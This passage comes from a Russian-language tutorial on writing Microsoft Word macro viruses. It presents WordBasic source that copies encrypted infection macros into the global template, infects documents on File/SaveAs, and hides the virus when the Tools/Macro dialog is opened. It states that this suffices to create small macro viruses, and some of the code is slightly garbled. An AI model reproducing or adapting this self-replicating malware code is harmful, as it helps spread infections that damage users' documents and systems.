Sub MAIN
On Error Goto Abort
iMacroCount=CountMacros(0, 0) ’Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)=”PayLoad” Then
bInstalled =–1 ’с помощью макроса PayLoad
End If
If MacroName$(i, 0, 0)=”FileSaveAs” Then
bTooMuchTrouble =–1 ’но если есть макрос
FileSaveAs,
’то заразить тяжело
End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
’Добавим макросы FileSaveAs и копии AutoExec и FileSave
’Payload используется только для проверки на зараженность
’,1 – кодирует макросы, делая их нечитаемыми в Word
iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))
sMe$=FileName$
Macro$=sMe$+”:PayLoad”
MacroCopy Macro$, ”Global:PayLoad”, 1
Macro$=sMe$+”:FileOpen” ’Будет происходить заражение
MacroCopy Macro$, ”Global:FileOpen”, 1
Macro$=sMe$+”:FileSaveAs”
MacroCopy Macro$, ”Global:FileSaveAs”, 1
Macro$=sMe$+”:AutoExec”
MacroCopy Macro$, ”Global:AutoExec”, 1
SetProfileString ”WW6I”, Str$(iWW6IInstance+1)
End If
Abort:
End SubПроцедура SaveAs
Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:
Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy ”FileSaveAs”, WindowName$+”:FileSaveAs”
’Заражает при сохранении документа
MacroCopy ”FileSave”, WindowName$+”:FileSave”
MacroCopy ”PayLoad”, WindowName$+”:PayLoad”
MacroCopy ”FileOpen”, WindowName$+”:FileOpen”
’При открытии документа
Dlg.Format=1
End If
FileDaveAs dlg
End SubЭтой информации вполне достаточно для создания небольших макровирусов.
Специальные процедуры
Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$
If macros.bDebug Then
MsgBox ”start ToolsMacro”
Dim dlg As OutilsMacro
If macros.bDebug Then MsgBox ”1”
GetCurValues dlg
If macros.bDebug Then MsgBox ”2”
On Error Goto Skip
Dialog dlg
OutilsMacro dlg
Skip:
On Error Goto ErrorRoutine ’При ошибке на выход
End If
REM enable automacros
DisableAutoMacros 0
macros.SavToGlobal(OldName$)
macros.objectiv
Goto Done ’Переход на метку
Done
ErrorRoutine:
On Error Goto Done ’Переход на метку
Done
If macros.bDebug Then
MsgBox ”error ”+Str$(Err)+” occurred” ’Сообщение об
ошибке
End If
Done:
End SubМакро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются форматировать винчестер при открытии документа.
Пример макро-вируса
Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.